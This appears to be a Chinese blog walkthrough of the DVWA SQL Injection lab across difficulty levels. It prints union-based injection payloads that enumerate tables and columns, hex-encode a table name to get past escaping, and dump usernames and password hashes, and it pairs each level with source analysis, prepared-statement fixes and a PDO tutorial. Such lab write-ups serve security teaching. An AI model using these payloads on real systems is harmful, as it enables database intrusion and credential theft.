DVWA靶场通关——SQL Injection篇

news2024/11/15 21:43:13

一,Low难度下union+get+字符串+select注入

1,首先手工注入判断是否存在SQL注入漏洞,输入1

这是正常回显的结果,再键入1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

发生报错,再键入1"

结果并不报错,这说明单引号的存在破坏了原有语句的闭合;双引号就没有破坏,被当成字符串内容执行。那么推断闭合方式为单引号

2,猜测这是一个经典sql查询语句。通过order by判断至少存在几个字段

1' order by 2#

至少存在两个字段,

1' order by 3#

不存在第三个字段,那么就只有两个字段

3,接着使用union操作符判断回显点 1' union select 1,2#

由此可以看到存在两个回显点,接着参考数据库名和版本

1' union select  database(),version()#

4,对查询语句的限制并不多,可以用union语句开始爆库。

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

使用user表,再报user表下字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

5,最后就爆破出用户和密码字段的内容了,并且使它们成对显示

1' union select user,password from users#

由此,成功通关

查看并分析源码内容

该PHP代码段的主要功能是根据用户输入的id从数据库中查询用户的first_name和last_name,并将结果显示给用户。代码支持两种数据库:MySQL和SQLite。

代码结构

  1. 输入处理:通过$_REQUEST['Submit']判断是否提交了表单,并获取用户输入的id。
  2. 数据库选择:根据$_DVWA['SQLI_DB']的值选择使用MySQL还是SQLite。
  3. 查询执行
    • MySQL:使用mysqli_query执行SQL查询,并通过mysqli_fetch_assoc获取结果。
    • SQLite:使用SQLite3对象执行查询,并通过fetchArray获取结果。
  4. 结果显示:将查询结果格式化为HTML并输出。

安全问题

该代码存在严重的SQL注入漏洞,主要问题在于用户输入的id直接拼接到SQL查询语句中,未进行任何过滤或转义处理。攻击者可以通过构造恶意输入来执行任意SQL命令,从而获取或篡改数据库中的数据。

改进建议

  1. 使用预处理语句:对于MySQL,可以使用mysqli_prepare和mysqli_stmt_bind_param来防止SQL注入。对于SQLite,可以使用SQLite3Stmt类。
  2. 输入验证和过滤:对用户输入进行严格的验证和过滤,确保输入的id是合法的整数。
  3. 错误处理:改进错误处理机制,避免在生产环境中暴露详细的错误信息。

查看源码查询语句

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

这段代码是一个使用PHP和MySQL进行数据库查询的示例。它从users表中选择first_name和last_name,条件是user_id等于变量$id的值。

潜在的安全问题

该代码存在SQL注入的潜在风险,因为$id变量直接嵌入到SQL查询字符串中,没有进行任何形式的转义或预处理。如果$id的值来自用户输入,攻击者可以通过构造恶意输入来执行任意SQL命令。

改进建议

为了防止SQL注入,建议使用预处理语句(Prepared Statements)和参数绑定。以下是改进后的代码示例:

$stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], "SELECT first_name, last_name FROM users WHERE user_id = ?");
mysqli_stmt_bind_param(
$stmt, "i", $id);
mysqli_stmt_execute(
$stmt);
$result = mysqli_stmt_get_result($stmt);
if (!$result) {
   
die('<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>');
}

解释

  1. 预处理语句:mysqli_prepare函数创建一个预处理语句,其中?是占位符,用于替换实际的参数。
  2. 参数绑定:mysqli_stmt_bind_param函数将变量$id绑定到预处理语句中的占位符。"i"表示$id是一个整数。
  3. 执行语句:mysqli_stmt_execute函数执行预处理语句。
  4. 获取结果:mysqli_stmt_get_result函数获取查询结果。
  5. 错误处理:如果查询失败,使用mysqli_error函数获取错误信息并终止脚本。

通过这种方式,可以有效防止SQL注入攻击,提高代码的安全性。

二,Medium难度下union+post+整数型+select注入

1,该网页仅允许我们通过下拉表单的格式提交数据

2,可以挂上burpsuite拦截一个包分析一下,

3,那么就可以知到网页使用POST请求方式提交查询语句,并且固定格式为?id=表达数据&Submit=Submit。那么这个POST型注入可以用两种工具解:burp suite和hackbar。为了简单这里使用hackbar

判断闭合方式,输入1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

发生报错,再输入1"还是发生报错。当知道是下拉表达方式提交数据,其实就能判断出是数字型注入了

4,order by操作符判断数据表有几列

id=1 order by 2&Submit=Submit

正常回显,证明至少有2列。id=1 order by 3&Submit=Submit

发生报错,说明数据表只有两列

5,union操作符确定回显位置 id=1 union select 1,2&Submit=Submit

 由此就知道了1,2两个位置都能正常回显数据,再爆出数据库名和数据库版本

id=1 union select database(),version()&Submit=Submit

6,开始爆破数据库中数据表名。

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&Submit=Submit

从users数据表里面爆出所有字段名

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'&Submit=Submit

发生报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'users\'' at line 1

错误信息提示在'\'users\''附近有语法问题,可以尝试将users经十六进制编码为0x7573657273以绕过对表名的过滤

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273&Submit=Submit

再爆出user,password数据并且使其成对显示

id=1 union select user,password from users&Submit=Submit

成功爆出账户和密码信息

查看并分析源码内容

  1. 表单提交处理
    1. 代码首先检查是否提交了表单(通过$_POST['Submit']是否设置来判断)。
    2. 如果表单提交,获取用户输入的id,并使用mysqli_real_escape_string函数对输入进行转义,以防止SQL注入。
  2. 数据库查询
    1. 根据$_DVWA['SQLI_DB']的值(MYSQL或SQLITE),代码分别处理MySQL和SQLite数据库的查询。
    2. 对于MySQL数据库,使用mysqli_query执行查询,并使用mysqli_fetch_assoc获取结果。
    3. 对于SQLite数据库,使用$sqlite_db_connection->query执行查询,并使用fetchArray获取结果。
  3. 结果显示
    1. 查询结果通过循环遍历,将每个用户的first_name和last_name格式化后显示在页面上。
  4. 统计用户数量
    1. 代码最后执行一个查询,统计users表中的用户总数,并将结果存储在$number_of_rows变量中。
  5. 数据库连接关闭
    1. 代码在最后关闭了MySQL数据库连接(mysqli_close)。

改进建议

  1. 使用预处理语句
    • 对于MySQL,建议使用mysqli_prepare和mysqli_stmt_bind_param来执行查询。
    • 对于SQLite,可以使用sqlite3_prepare和sqlite3_bind_param。
  2. 错误处理
    • 在生产环境中,建议捕获异常并记录日志,而不是直接输出错误信息。
  3. 代码结构优化
    • 将数据库连接和查询逻辑封装到函数或类中,提高代码的可维护性和可读性。

medium难度和lowphp源码相比

输入处理方式

在第一段代码中,$id 变量直接从 $_REQUEST 数组中获取,并且没有进行任何转义或过滤处理。这意味着 $id 变量可能包含用户输入的恶意数据,存在SQL注入风险。

$id = $_REQUEST[ 'id' ];

在第二段代码中,$id 变量同样从 $_POST 数组中获取,但在传递给SQL查询之前,使用 mysqli_real_escape_string 函数对其进行了转义处理,从而减少了SQL注入的风险。

$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

SQL查询语句

在第一段代码中,SQL查询语句直接将 $id 变量嵌入到字符串中,这可能导致SQL注入攻击。

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

在第二段代码中,SQL查询语句将 $id 变量作为参数传递,而不是直接嵌入到字符串中,这使得SQL注入攻击更难以成功。

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

数据库连接关闭

两段代码在处理完数据库查询后都关闭了数据库连接,这一点是相同的。

mysqli_close($GLOBALS["___mysqli_ston"]);

总结

  • 安全性:第二段代码通过使用 mysqli_real_escape_string 函数对用户输入进行转义处理,显著提高了代码的安全性,减少了SQL注入的风险。
  • 输入来源:第一段代码从 $_REQUEST 数组中获取输入,而第二段代码从 $_POST 数组中获取输入,后者更明确地限制了输入来源。
  • SQL查询:第二段代码的SQL查询语句更安全,因为它避免了直接将用户输入嵌入到查询字符串中。

三,low难度下

1,观察一下页面,发现是给定一个弹窗让我们change ID

直接输入1的效果如下

burpsuite拦截直接抓个包看看

当我在弹窗里面输入1测试,发现提交请求方式变成了POST

2,判断一下字符串闭合方式,输入1'

发生报错,再输入1"

没有发生报错,那么猜测为闭合方式为单引号(输入1'#就能不报错证明)

3,order by判断存在字段数 1' order by 2#

证明至少有2列存在,再输入 1' order by 3#

那么该数据表就只有两列

4,union操作符判断数据回显位置

回显位置存在两个,爆一下数据库名和数据库版本

1' union select database(),version()#

5,爆出数据表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

再爆数据库名

1' union select 1,group_concat(column_name) from information_schema.columns where column_name='users'#

爆出用户名和密码

1' union select user,password from users #

成功通关

查看并分析源码内容

安全性问题

  1. SQL注入漏洞:代码中直接将用户输入的$id变量插入到SQL查询中,存在SQL注入风险。攻击者可以通过构造恶意输入来执行任意SQL命令。
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    解决方法:使用预处理语句(Prepared Statements)来防止SQL注入。
  2. 错误信息暴露:代码中直接将数据库错误信息输出到前端,可能会暴露敏感信息给攻击者。
    or die( '<pre>Something went wrong.</pre>' );
    解决方法:记录错误信息到日志文件,而不是直接输出到前端。

代码优化建议

  1. 代码格式化:代码中的双括号{{和}}是多余的,可以删除以提高代码可读性。
  2. 错误处理:在SQLite部分,错误处理不够完善,可以改进以提供更详细的错误信息。
  3. 数据库连接管理:在MySQL部分,数据库连接的关闭操作可以更简洁地实现。

四,impossible难度下

<<DVWA靶场——impossible难度SQL注入的源码分析.md>>

代码功能概述

该PHP代码的主要功能是根据用户提供的id参数,从数据库中查询对应的用户信息(包括first_name和last_name),并将查询结果显示给用户。代码支持两种数据库类型:MySQL和SQLite。

安全措施

  1. Anti-CSRF Token: 代码中使用了checkToken函数来验证用户提交的user_token是否与session_token匹配,以防止跨站请求伪造(CSRF)攻击。
  2. 输入验证: 代码通过is_numeric函数检查id是否为数字,并使用intval将其转换为整数,以防止SQL注入攻击。
  3. 参数化查询: 无论是MySQL还是SQLite,代码都使用了参数化查询(Prepared Statements)来执行SQL查询,进一步防止SQL注入攻击。

数据库操作

  1. MySQL:
    • 使用PDO(PHP Data Objects)进行数据库操作。
    • 通过bindParam方法将id参数绑定到SQL查询中。
    • 执行查询后,检查返回的行数是否为1,以确保只返回一条记录。
  2. SQLite:
    • 使用SQLite3扩展进行数据库操作。
    • 通过bindValue方法将id参数绑定到SQL查询中。
    • 由于SQLite3没有直接获取行数的方法,代码通过检查返回的列数来确保查询结果的正确性。

输出结果

  • 如果查询成功,代码将用户的id、first_name和last_name以HTML格式输出到页面上。
  • 如果查询失败或没有找到匹配的记录,代码不会输出任何信息。

数据库PDO技术

根据搜索结果,我们可以了解到,PDO(PHP Data Objects)是PHP中用于数据库操作的一种技术。以下是对数据库PDO技术的详细介绍:

1. 什么是PDO?

PDO是PHP内置的一个数据库抽象层,它提供了一个统一的数据库访问接口,支持多种数据库管理系统(如MySQL、PostgreSQL等)。使用PDO,开发者可以更轻松地连接数据库、执行查询,并处理结果集。

2. 安装和配置PDO

在使用PDO之前,需要确保PHP环境中已启用PDO扩展。通常,PDO是PHP默认安装的一部分,但可以在php.ini 文件中检查以下行是否被注释:

extension=pdo_mysql

3. 建立数据库连接

使用PDO连接数据库非常简单。以下是一个基本的连接示例:

try {
   
$pdo = new PDO('mysql:host=localhost;dbname=testdb', 'username', 'password');
   
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
}
catch (PDOException $e) {
   
echo '连接失败: ' . $e->getMessage();
}

在这个示例中,我们使用mysql:host和dbname来指定数据库的主机和名称,并设置错误模式,以便捕获异常。

4. 使用预处理语句防止SQL注入

为了安全地执行数据库操作,建议使用预处理语句。预处理语句允许我们在执行查询时将参数绑定,从而避免SQL注入攻击。以下是一个INSERT语句的示例:

$stmt = $pdo->prepare('INSERT INTO users (name, email) VALUES (:name, :email)');
$stmt->execute(['name' => $userName, 'email' => $userEmail]);

在这个示例中,:name和:email是参数占位符,实际的值在执行时通过关联数组传入。

5. 更新和删除数据

更新和删除数据同样可以使用预处理语句。例如:

// 更新用户信息
$stmt = $pdo->prepare('UPDATE users SET email=:email WHERE name=:name');
$stmt->execute(['email' => $newEmail, 'name' => $userName]);
 

// 删除用户
$stmt = $pdo->prepare('DELETE FROM users WHERE name=:name');
$stmt->execute(['name' => $userName]);

6. 事务处理

在涉及多个数据库操作时,使用事务可以确保数据一致性。如果其中一条操作失败,可以回滚所有操作。以下是事务处理的示例:

try {
   
// 开始事务
    $pdo->beginTransaction();
 
   
// 执行多个操作
    $stmt1 = $pdo->prepare('INSERT INTO users (name, email) VALUES (:name, :email)');
   
$stmt1->execute(['name' => 'Alice', 'email' => 'alice@example.com']);
 
   
$stmt2 = $pdo->prepare('INSERT INTO orders (user_id, product) VALUES (:user_id, :product)');
   
$stmt2->execute(['user_id' => $pdo->lastInsertId(), 'product' => 'Product A']);
 
   
// 提交事务
    $pdo->commit();
}
catch (Exception $e) {
   
// 回滚事务
    $pdo->rollBack();
   
echo '操作失败: ' . $e->getMessage();
}

在这个示例中,我们开始一个事务并执行多个操作。如果任何一条操作失败,我们将回滚事务,确保数据的一致性。

7. 错误处理

PDO提供了强大的错误处理机制。可以通过设置错误模式来捕获异常,确保我们能及时处理错误:

$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
 

try {
   
// 数据库操作
} catch (PDOException $e) {
   
echo '数据库错误: ' . $e->getMessage();
}

8. 最佳实践

  • 使用参数化查询:总是使用预处理语句来执行查询,以避免SQL注入。
  • 确保正确配置数据库连接和错误处理。
  • 使用事务处理来确保数据一致性。

通过以上介绍,我们可以看到PDO技术在PHP数据库操作中的重要性和实用性。它不仅简化了数据库操作,还提供了安全的机制来防止SQL注入和其他潜在的安全问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2241086.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CSS回顾-基础知识详解

一、引言 在前端开发领域&#xff0c;CSS 曾是构建网页视觉效果的关键&#xff0c;与 HTML、JavaScript 一起打造精彩的网络世界。但随着组件库的大量涌现&#xff0c;我们亲手书写 CSS 样式的情况越来越少&#xff0c;CSS 基础知识也逐渐被我们遗忘。 现在&#xff0c;这种遗…

SSH和NFS

文章目录 SSH和NFS1 SSH远程管理1.1 概述1.2 ssh服务端和客户端1.3 用法1.3.1 服务器命令行的远程登录方式1.3.2 scp1.3.3 sftp1.3.4 ssh的密钥登录 2 NFS2.1 概述2.2 nfs操作步骤 SSH和NFS 1 SSH远程管理 1.1 概述 SSH&#xff08;Secure Shell&#xff09;协议是一种用于远…

Springboot 启动端口占用如何解决

Springboot 启动端口占用如何解决 1、报错信息如下 *************************** APPLICATION FAILED TO START ***************************Description:Web server failed to start. Port 9010 was already in use.Action:Identify and stop the process thats listening o…

SpringBoot 打造图片阅后即焚功能

阅后即焚”&#xff08;Snapchat-like feature&#xff09;是指一种社交媒体或信息传递功能&#xff0c;用户在阅读某条信息或查看某张图片后&#xff0c;该信息或图片会自动销毁&#xff0c;无法再次查看。这种功能的主要目的是保护用户的隐私和信息安全&#xff0c;防止敏感信…

FFmpeg 4.3 音视频-多路H265监控录放C++开发十三.2:avpacket中包含多个 NALU如何解析头部分析

前提&#xff1a; 注意的是&#xff1a;我们这里是从avframe转换成avpacket 后&#xff0c;从avpacket中查看NALU。 在实际开发中&#xff0c;我们有可能是从摄像头中拿到 RGB 或者 PCM&#xff0c;然后将pcm打包成avframe&#xff0c;然后将avframe转换成avpacket&#xff0…

Vue之插槽(slot)

插槽是vue中的一个非常强大且灵活的功能&#xff0c;在写组件时&#xff0c;可以为组件的使用者预留一些可以自定义内容的占位符。通过插槽&#xff0c;可以极大提高组件的客服用和灵活性。 插槽大体可以分为三类&#xff1a;默认插槽&#xff0c;具名插槽和作用域插槽。 下面…

华为鸿蒙HarmonyOS NEXT升级HiCar:打造未来出行新体验

随着科技的不断进步&#xff0c;智能出行已成为我们生活中不可或缺的一部分。华为凭借其在智能科技领域的深厚积累&#xff0c;推出了全新的鸿蒙HarmonyOS NEXT系统&#xff0c;旨在为用户打造一个“人车家”的无缝协同出行体验。这一系统的核心亮点之一&#xff0c;就是其内置…

Clickhouse集群新建用户、授权以及remote权限问题

新建用户 create user if not exists user on cluster 集群名称 IDENTIFIED WITH plaintext_password BY 密码;给用户授查询、建表、删表的权限 GRANT create table,select,drop table ON 数据库实例.* TO user on cluster 集群名称 ;在其他节点下用户建本地表成功&#…

Serverless架构在实时数据处理中的应用

&#x1f493; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4dd; Gitee主页&#xff1a;瑕疵的gitee主页 ⏩ 文章专栏&#xff1a;《热点资讯》 Serverless架构在实时数据处理中的应用 Serverless架构在实时数据处理中的应用 Serverless架构在实时数据处理中的应用 引言 Ser…

Scrapy爬取heima论坛所有页面内容并保存到数据库中

前期准备&#xff1a; Scrapy入门_win10安装scrapy-CSDN博客 新建 Scrapy项目 scrapy startproject mySpider03 # 项目名为mySpider03 进入到spiders目录 cd mySpider03/mySpider03/spiders 创建爬虫 scrapy genspider heima bbs.itheima.com # 爬虫名为heima &#…

QSS 设置bug

问题描述&#xff1a; 在QWidget上add 一个QLabel&#xff0c;但是死活不生效 原因&#xff1a; c 主程序如下&#xff1a; QWidget* LOGO new QWidget(logo_wnd);LOGO->setFixedSize(logo_width, 41);LOGO->setObjectName("TittltLogo");QVBoxLayout* tit…

TKinter实现与Dash应用的同步启停控制

使用Python集成Tkinter和Dash&#xff1a;创建交互式数据可视化应用 在数据可视化项目中&#xff0c;我们经常需要结合传统GUI和现代Web可视化框架的优势。本文将介绍如何整合Tkinter和Dash&#xff0c;创建一个既有桌面应用界面&#xff0c;又能展示交互式图表的应用程序。 …

FreeRTOS学习13——任务相关API函数

任务相关API函数 任务相关API函数任务相关API函数介绍任务相关 API 函数详解函数 uxTaskPriorityGet()函数 vTaskPrioritySet()函数 uxTaskGetSystemState()函数 vTaskGetInfo()函数 xTaskGetApplicationTaskTag()函数 xTaskGetCurrentHandle()函数 xTaskGetHandle()函数 xTask…

2022-2023全国高校计算机能力挑战赛区域赛python组编程题

mi目录 2022 1. 2. 1. 使用 format() 方法 2. 使用 f-string&#xff08;Python 3.6 及以上&#xff09; 2023 1. 2. 3. 4 闽农大宝玲楼 2022 1. 1.某动物研究员给动物园的动物们定了一个园区幸福值&#xff0c;其中园区幸福值的计算为一个园区内“所有动物的活动时…

在Element Ui中支持从系统粘贴版中获取图片和PDF,Docx,Doc,PPT等文档

在上一篇中&#xff0c;我们单纯的实现了Ctrl V实现从粘贴版中获取图片信息&#xff0c;但是点击上传的时候会有个bug&#xff0c;就是点击文件上传的时候&#xff0c;会出现一个bug&#xff0c;这篇&#xff0c;我们将在上一篇的基础上进行完善&#xff0c;并支持从粘贴版中获…

【Android学习】2024最新版Android Studio安装与配置

准备工作 Windows系统的要求 一、下载 Android Studio官网&#xff1a;https://developer.android.google.cn/studio?hlen 今天是2024年9月27日&#xff0c;Android Studio已经更新到了Koala版本 直接下载 二、安装 笔者当前环境变量中配置的JDK版本为1.8 双击.exe文件运行…

如何解决JAVA程序通过obloader并发导数导致系统夯住的问题 | OceanBase 运维实践

案例背景 某保险机构客户的数据中台&#xff0c;自系统上线后不久&#xff0c;会定期的用 obload 工具从上游业务系统导入数据至OceanBase数据库。但&#xff0c;不久便遇到了应用服务器的 Memory 与 CPU 资源占用持续攀升&#xff0c;最终导致系统夯住而不可用的异常。 memo…

2分钟在阿里云ECS控制台部署个人应用(图文示例)

作为一名程序员&#xff0c;我有大量的个人代码和应用托管在Github/Gitee这些代码仓库。当我想要部署这些代码到我的阿里云ECS服务器时&#xff0c;往往会很麻烦&#xff0c;主要问题有这些&#xff1a; 需要手动安装和配置git&#xff0c;过程非常繁琐。每次都需要登录到机器…

Oracle XE命令行创建数据库的一波三折(已解决)

这是一个目录 前言创建预备创建一、创建配置文件指定控制文件路径二、使用命令行创建数据库三、初始化数据库四、创建服务五、配置监听 Oracle XE尾声 前言 这篇文章是我在误装了oracle xe&#xff08;精简版数据库&#xff09;后有感而写&#xff0c;对于xe的具体区别将在文末…

第四十一章 Vue之初识VueX

目录 一、引言 1.1. vuex的概念 1.2. vuex使用场景 1.3. 优势 二、创建演示项目 2.1. 构建项目步骤 2.2. 项目最终生成结构 2.3. 创建项目文件 2.3.1. App.vue 2.3.2. Son1.vue 2.3.3. Son2.vue 三、创建一个空仓库 3.1. 安装vuex 3.2. 新建仓库 3.3. 挂载仓库…